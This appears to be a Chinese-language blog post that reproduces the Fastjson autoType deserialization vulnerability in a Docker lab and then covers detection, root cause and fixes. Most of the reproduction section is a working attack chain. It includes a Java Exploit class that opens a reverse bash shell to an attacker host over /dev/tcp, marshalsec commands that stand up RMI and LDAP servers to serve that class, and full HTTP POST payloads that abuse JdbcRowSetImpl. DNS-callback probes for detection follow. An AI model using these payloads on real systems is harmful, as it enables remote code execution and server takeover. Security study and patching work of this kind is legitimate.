1. 程式人生 > 其它 >Fastjson漏洞+復現

Fastjson漏洞+復現

1.漏洞介紹

​​FastJson在解析json的過程中,支援使用autoType來例項化某一個具體的類,並呼叫該類的set/get方法來訪問屬性。通過查詢程式碼中相關的方法,即可構造出一些惡意利用鏈。

通俗理解就是:漏洞利用fastjson autotype在處理json物件的時候,未對@type欄位進行完全的安全性驗證,攻擊者可以傳入危險類,並呼叫危險類連線遠端rmi主機,通過其中的惡意類執行程式碼。

攻擊者通過這種方式可以實現遠端程式碼執行漏洞的利用,獲取伺服器的敏感資訊洩露,甚至可以利用此漏洞進一步對伺服器資料進行修改,增加,刪除等操作,對伺服器造成巨大影響。

2.漏洞復現

(1)首先使用docker起一個fastjson反序列化漏洞環境:

(2)訪問環境頁面如下:

(3)RMI利用方式,先編寫好攻擊指令碼,反彈shell到kali上:

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.0.105/8888 0>&1");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

(4)接著使用javac將其進行編譯,命令:

javac Exploit.java

(5)然後多出一個.class的檔案:

(6)把編譯好的檔案放在kali上,並在kali開啟一個簡單的HTTP服務,利用python3,命令:

python3 -m http.server 8080

(7)接著使用marshalsec專案,啟動RMI服務,監聽8001埠並載入遠端類Exploit.class,命令:

https://github.com/RandomRobbieBF/marshalsec-jar
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.105:8080/#Exploit" 8001

(8)然後在kali上開啟監聽8888埠

(9)開始攻擊,payload如下,注意是以POST方式提交:

POST / HTTP/1.1
Host: 192.168.0.105:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

{
    "naraku":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.0.105:8001/Exploit",
        "autoCommit":true
    }
}

(10)成功,反彈shell

(11)LDAP利用方式

前面大致過程相同,唯一變化的地方在於使用marshalsec專案,啟動LDAP服務,監聽8002埠並載入遠端類Exploit.class,命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.0.105:8080/#Exploit" 8002

(12)在kali端依然監聽8888埠,在burp端發起payload,payload如下,依舊注意是POST請求:

POST / HTTP/1.1
Host: 192.168.0.105:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

{
    "naraku":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://192.168.0.105:8002/Exploit",
        "autoCommit":true
    }
}

(13)成功,反彈shell

3.漏洞檢測

(1)抓包的時候剛好看到它傳送了json的資料

(2)判斷是不是fastjson,用一個非法格式,可能會報錯,看報錯資訊 ,反序列化這個類,看平臺能不能接收到資料)

(3)GitHub裡搜尋fastjson外掛,只要流量經過了bp,就能自動探測
方法一:利用 java.net.Inet [4 | 6] 地址

{"@type":"java.net.Inet4Address","val":"in0i3v.ceye.io"} 
{"@type":"java.net.Inet6Address","val":"in0i3v.ceye.io"}

方法二:利用 java.net.InetSocketAddress

{"@type":"java.net.InetSocketAddress"{"address":,"val":"in0i3v.ceye.io"}}

方法三:利用 java.net.URL

{{"@type":"java.net.URL","val":"http://in0i3v.ceye.io"}:"x"}

4.漏洞產生原因

反序列化之後的資料本來是沒有危害的,但是使用者使用可控資料是有危害的

漏洞資訊:

Fastjson 1.2.24 反序列化導致任意命令執行漏洞:fastjson在解析json的過程中,支援使用autoType來例項化某一個具體的類,並呼叫該類的set/get方法來訪問屬性。通過查詢程式碼中相關的方法,即可構造出一些惡意利用鏈。影響版本fastjson <= 1.2.24。

Fastjson 1.2.47 遠端命令執行漏洞:fastjson於1.2.24版本後增加了反序列化白名單,而在1.2.48以前的版本中,攻擊者可以利用特殊構造的json字串繞過白名單檢測,成功執行任意命令。影響版本fastjson <1.2.48。

5.漏洞修復

1. fastjson 版本至少升級到 1.2.58。

2.及時升級Java環境版本